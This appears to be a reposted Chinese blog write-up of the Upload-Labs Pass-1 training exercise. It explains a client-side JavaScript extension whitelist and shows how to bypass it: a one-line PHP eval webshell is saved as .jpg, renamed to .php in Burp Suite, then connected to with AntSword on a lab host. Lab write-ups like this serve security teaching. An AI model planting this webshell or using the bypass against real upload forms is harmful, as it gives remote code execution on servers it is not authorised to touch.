当前位置: 首页 > news >正文

Upload-Labs:Pass - 1(JS前端白名单)

Pass_1

    • 1. 上传测试
    • 2. 代码审计
      • **获取文件输入的值**:
      • **检查是否选择了文件**:
      • **定义允许的文件类型**:
      • **提取文件的扩展名**:
      • **检查文件类型是否允许上传**:
      • **构建错误消息并提醒用户**:
    • 3.绕过思路
      • 3.1 将`WebShell`改为`.jpg`
      • 3.2 使用 Burp Suite 监听、上传、改包
    • 4. `WebShell`连接测试

在这里插入图片描述

1. 上传测试

  • 上传WebShell.php文件看一下回显

在这里插入图片描述

从回显提示看只能上传.jpg .png .gif格式的文件

2. 代码审计

在这里插入图片描述

function checkFile() {// 步骤 1: 获取名为 'upload_file' 的输入字段的值var file = document.getElementsByName('upload_file')[0].value;

获取文件输入的值

  • 这行代码使用 document.getElementsByName('upload_file')[0] 来获取页面上第一个名为 ‘upload_file’ 的 <input> 元素的值。
  • file 变量保存了用户在该输入字段中选择的文件的路径或文件名。
  • 在一些浏览器中,file 可能只包含文件名,而不包含完整路径。

 

    // 步骤 2: 检查文件输入是否为空或未定义if (file == null || file == "") {alert("请选择要上传的文件!"); // 弹出提示框,要求用户选择一个文件return false; // 停止执行函数并返回 false}

检查是否选择了文件

  • 这段代码首先检查 file 变量是否为空 (null) 或空字符串 ("")。
  • 如果 file 是空的,说明用户没有选择任何文件。
  • alert("请选择要上传的文件!") 会弹出一个提示框,通知用户他们需要选择一个文件。
  • return false 用来终止函数的执行,并且阻止表单的提交或进一步的操作。

 

    // 步骤 3: 定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif"; // 允许的文件类型包括 .jpg, .png, .gif

定义允许的文件类型

  • 这里定义了一个包含允许上传的文件类型的字符串 allow_ext
  • 这个字符串使用竖线 | 分隔每种允许的文件扩展名,表示可以上传 .jpg.png.gif 类型的文件。

 

    // 步骤 4: 提取上传文件的扩展名var ext_name = file.substring(file.lastIndexOf("."));// 使用 `lastIndexOf(".")` 查找最后一个点的位置,截取文件名中从点开始到结束的部分(即扩展名)

提取文件的扩展名

  • file.lastIndexOf(".") 找到文件名中最后一个点 . 的位置。
  • substring 方法从这个位置开始截取文件名的子字符串,也就是文件的扩展名部分(例如,如果文件名是 image.jpg,那么 ext_name 就是 .jpg)。
  • 这种方法提取的扩展名包含了前面的点 .

 

    // 步骤 5: 判断上传的文件类型是否在允许的范围内if (allow_ext.indexOf(ext_name + "|") == -1) {// 使用 `indexOf` 方法检查 `allow_ext` 中是否包含扩展名 `ext_name`// 通过将 `ext_name` 加上一个 "|" 符号,可以避免部分匹配问题,例如 .jpg 和 .jpeg

检查文件类型是否允许上传

  • allow_ext.indexOf(ext_name + "|") 检查 allow_ext 字符串中是否包含 ext_name 加上一个竖线 | 的部分。
  • 这样做的目的是为了避免部分匹配的问题,例如避免 .jpg 匹配到 .jpeg
  • 如果 indexOf 返回 -1,说明 ext_name 不在 allow_ext 中,即文件类型不被允许上传。

 

        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件, 当前文件类型为:" + ext_name;// 构建一个错误消息,包含允许的文件类型和当前上传文件的类型alert(errMsg); // 弹出错误提示return false; // 停止执行并返回 false}
}

构建错误消息并提醒用户

  • 如果文件类型不被允许上传,函数会构建一个错误消息,说明只允许上传哪些类型的文件,并提示当前文件的类型。
  • alert(errMsg) 会弹出这个错误消息框,通知用户选择的文件类型不符合要求。
  • return false 停止函数的进一步执行,并阻止表单的提交或后续处理。

3.绕过思路

  • 该验证是属于前端白名单验证,当点击上传的时候客户端浏览器会检测文件是否是.jpg .png .gif其中一种格式,我们可以将WebShell文件先改为.jpg文件,之后使用Burp Suite抓包把文件改为.php从而绕过。

3.1 将WebShell改为.jpg

  • 将代码复制粘贴保存为.jpg文件

    <?php @eval($_POST['Hack']); ?>
    

    在这里插入图片描述

3.2 使用 Burp Suite 监听、上传、改包

  • 改为 .php 格式后放行数据包

在这里插入图片描述
 

4. WebShell连接测试

  • 上传文件地址:
http://10.10.0.3:8800/upload/WebShell.php
  • 蚂剑连接WebShell测试

在这里插入图片描述

http://www.lryc.cn/news/376358.html

相关文章:

  • vue大作业-实现学校官网
  • 24面试记录002
  • cocos 按钮
  • 文件扫描工具都有哪些?职场大佬都在用的文本提取工具大盘点~
  • 【学习】程序员资源网站
  • 游戏缓存与异步持久化的完美邂逅
  • MySQL 高级 - 第十二章 | 数据库的设计规范
  • 【Python】AJAX
  • scikit-image安装报错
  • STM32(七)———TIM定时器(基本and通用)
  • Spring中网络请求客户端WebClient的使用详解
  • 那些年我为了考PMP踩过的坑.....
  • 邦芒解析:新人入职后存在的三种职场心理误区
  • MFC案例:利用SetTimer函数编写一个“计时器”程序
  • 2. 音视频H264
  • 烽宇团队回报社会,走进贵州山区公益行
  • 硬盘格式化NTFS好还是exFAT好 U盘存储文件用哪个格式好? 硬盘用exfat还是ntfs mac不能读取移动硬盘怎么解决
  • Elasticsearch机器学习初探:智能数据洞察
  • 贪心算法——赶作业(C++)
  • Python 数据可视化 多色散点图
  • C语言入门系列:数据类型之浮点数
  • 思科配置路由器,四台主机互相ping通
  • 个人博客测试用例设计
  • Java输入输出语句 和 保留字
  • 生成对抗网络——GAN深度卷积实现(代码+理解)
  • gbase8s数据库阻塞检查点和非阻塞检查点的执行机制
  • ARM32开发--串口库封装(初级)
  • 统一管理:Vue公共组件/公共样式/全局自定义指令
  • Linux之旅: 基础知识点的终极指南
  • C#部分方法有什么用处?和传统方法有什么区别?什么时候用合适?